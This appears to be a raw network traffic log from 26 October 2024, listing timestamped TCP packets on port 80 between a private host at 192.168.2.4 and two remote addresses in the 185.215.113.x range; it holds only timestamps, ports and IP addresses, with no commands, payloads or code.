Oct 26, 2024 05:55:07.463459015 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463496923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463511944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463546991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463558912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463588953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463623047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463655949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463664055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463695049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463720083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463762999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463771105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463799953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463809967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463840961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463866949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463907957 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463932991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463964939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463979959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.464005947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.464057922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.464101076 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.464108944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.464142084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.464150906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.464183092 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.464210033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.464243889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.464252949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.464283943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.579879999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.579932928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.579955101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.579972982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.579983950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.580027103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.585449934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.585481882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.585510969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.585516930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.585539103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.585557938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.585561991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.585597992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.585604906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.585632086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.585639954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.585674047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.590641975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.590749025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.620466948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.620498896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.620534897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.620539904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.620567083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.620573044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.620937109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.620994091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.625700951 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.625739098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.625761986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.625787973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.626311064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.626348019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.626365900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.626383066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.626389980 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.626425982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.630983114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.631021023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.631072044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.631086111 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.631577015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.631614923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.631639004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.631649017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.636277914 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.636332989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.636367083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.636384964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.636409998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.636416912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.636787891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.636822939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.636835098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.636866093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736619949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736653090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736710072 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736738920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736741066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736774921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736792088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736819983 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736820936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736854076 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736874104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736874104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736911058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736922979 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736942053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.736962080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736988068 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.736996889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.737031937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.737040043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.737061024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.737078905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.737109900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.779648066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779689074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779707909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779725075 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779742956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779773951 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779808044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779841900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779855013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.779896021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.779900074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.779952049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.779967070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780018091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780019999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780052900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780059099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780088902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780091047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780128956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780153990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780198097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780239105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780268908 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780286074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780308962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780320883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780354977 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780370951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780394077 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780405998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780440092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780448914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780474901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.780478954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.780517101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898089886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898154974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898175001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898196936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898211956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898242950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898276091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898288012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898294926 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898324966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898339033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898366928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898379087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898408890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.898425102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.898454905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936484098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936543941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936547995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936594009 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936595917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936631918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936638117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936667919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936682940 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936702967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936711073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936738968 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936763048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936773062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936791897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936825991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936840057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936860085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.936866045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.936903954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937011003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937057972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937124014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937169075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937175035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937213898 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937217951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937243938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937253952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937288046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937441111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937477112 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937489033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937517881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937529087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937608957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937621117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937644005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937653065 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937680960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.937681913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.937722921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.055243015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.055280924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.055305958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.055324078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.055347919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.055382013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.055392027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.055418968 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.055423975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.055448055 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.055470943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.055489063 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093034029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093089104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093092918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093121052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093132973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093163013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093172073 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093209982 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093221903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093255997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093260050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093293905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093307972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093328953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093342066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093373060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093486071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093540907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093540907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093570948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093583107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093614101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093636036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093681097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093687057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093715906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093739033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093761921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093808889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093859911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093900919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093930006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.093949080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093971014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.093981981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094008923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094028950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094043016 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094073057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094122887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094132900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094162941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094177961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094211102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094217062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094249010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094264030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094286919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094312906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094361067 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.094569921 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.094619989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.130968094 CEST	49781	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:08.131237030 CEST	49797	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:08.136727095 CEST	80	49797	185.215.113.43	192.168.2.4
Oct 26, 2024 05:55:08.136811018 CEST	49797	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:08.136914015 CEST	49797	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:08.137135029 CEST	80	49781	185.215.113.43	192.168.2.4
Oct 26, 2024 05:55:08.137187958 CEST	49781	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:08.142219067 CEST	80	49797	185.215.113.43	192.168.2.4
Oct 26, 2024 05:55:08.211934090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.211997986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.212007999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.212039948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.212052107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.212080956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.212094069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.212126970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.212132931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.212169886 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.212182045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.212224960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257004976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257064104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257070065 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257095098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257121086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257129908 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257133007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257164955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257172108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257200003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257201910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257236004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257240057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257271051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257275105 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257309914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257502079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257531881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257555008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257570028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257596016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257641077 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257647038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257680893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257690907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257714987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257721901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257755995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257781029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257822990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257890940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257922888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257936001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257957935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257961988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.257993937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.257998943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.258038044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.258174896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.258218050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.258229017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.258264065 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.258270979 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.258306026 CEST	49745	80	192.168.2.4	185.215.113.206
